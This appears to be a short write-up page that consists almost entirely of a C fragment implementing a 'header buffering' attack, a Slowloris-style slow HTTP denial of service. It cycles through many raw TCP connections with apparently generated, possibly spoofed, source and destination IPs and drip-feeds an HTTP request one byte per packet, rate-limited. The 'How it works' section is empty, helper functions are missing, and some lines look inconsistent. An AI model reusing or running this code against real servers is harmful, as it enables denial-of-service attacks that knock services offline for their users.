Wireshark Capture

210322_headerbuff.pcapng

Code Implementation

pthread_mutex_lock(&g_headbuf_mutex);
//making tcp connection
if (g_headbuf_sockets[g_headbuf_current_idx] == -2) {
	// get now resource
generator(g_headbuf_src_ip, g_headbuf_dest_ip, g_headbuf_src_mask,
		g_headbuf_dest_mask, g_headbuf_dest_port_start,
		g_headbuf_dest_port_end, g_headbuf_now_src_ip,
		g_headbuf_now_dest_ip, &g_headbuf_now_dest_port);

g_headbuf_sockets[g_headbuf_current_idx] = socket(AF_INET,SOCK_STREAM, 0);
int sdbf = 2;

if (g_headbuf_sockets[g_headbuf_current_idx] == -1) {
perror("sock creation failed\\n");
	}
g_headbuf_sockets[g_headbuf_current_idx] = tcp_make_connection(
	inet_addr(g_headbuf_now_src_ip),
	inet_addr(g_headbuf_now_dest_ip),
	&(g_headbuf_src_ports[g_headbuf_current_idx]),
	g_headbuf_now_dest_port,
	g_headbuf_seq + g_headbuf_current_idx,
	g_headbuf_ack + g_headbuf_current_idx);

}
// wait a second
	if (g_headbuf_num_generated_in_sec >= g_headbuf_request_per_sec) {
		pthread_cond_wait(&g_headbuf_cond, &g_headbuf_mutex);
	}
	// time checking
	time_check(&g_headbuf_mutex, &g_headbuf_cond, &g_headbuf_before_time,
			&g_headbuf_now_time, &g_headbuf_num_generated_in_sec);
	// send 
	int sent_size = -1;
	if (g_headbuf_sockets[g_headbuf_current_idx] >= 0) {
		printf("src port = %d, data = %c\\n",
		g_headbuf_src_ports[g_headbuf_current_idx],*(g_headbuf_request_msg
		+ g_headbuf_http_cursor[g_headbuf_current_idx]));
		tcp_socket_send_data_no_ack(g_headbuf_sockets[g_headbuf_current_idx],
		inet_addr(g_headbuf_now_src_ip),
		inet_addr(g_headbuf_now_dest_ip),
		g_headbuf_src_ports[g_headbuf_current_idx],
		g_headbuf_now_dest_port,
		g_headbuf_request_msg
			+ g_headbuf_http_cursor[g_headbuf_current_idx], 1,
		g_headbuf_seq[g_headbuf_current_idx], g_headbuf_seq[g_headbuf_current_idx]);
		g_headbuf_seq[g_headbuf_current_idx]++;

		g_headbuf_num_generated_in_sec++;
		g_headbuf_num_total++;
		
		g_headbuf_http_cursor[g_headbuf_current_idx] += 1;

		if (g_headbuf_http_cursor[g_headbuf_current_idx]
			>= __HEADER_BUFFERING_REQUEST_MSG_SIZE__) {
			close(g_headbuf_sockets[g_headbuf_current_idx]);
			g_headbuf_sockets[g_headbuf_current_idx] = -1;
			}
			g_headbuf_current_idx++;
	}
	if (g_headbuf_current_idx >= g_headbuf_maximum) {
		g_headbuf_current_idx = 0;
}

How it works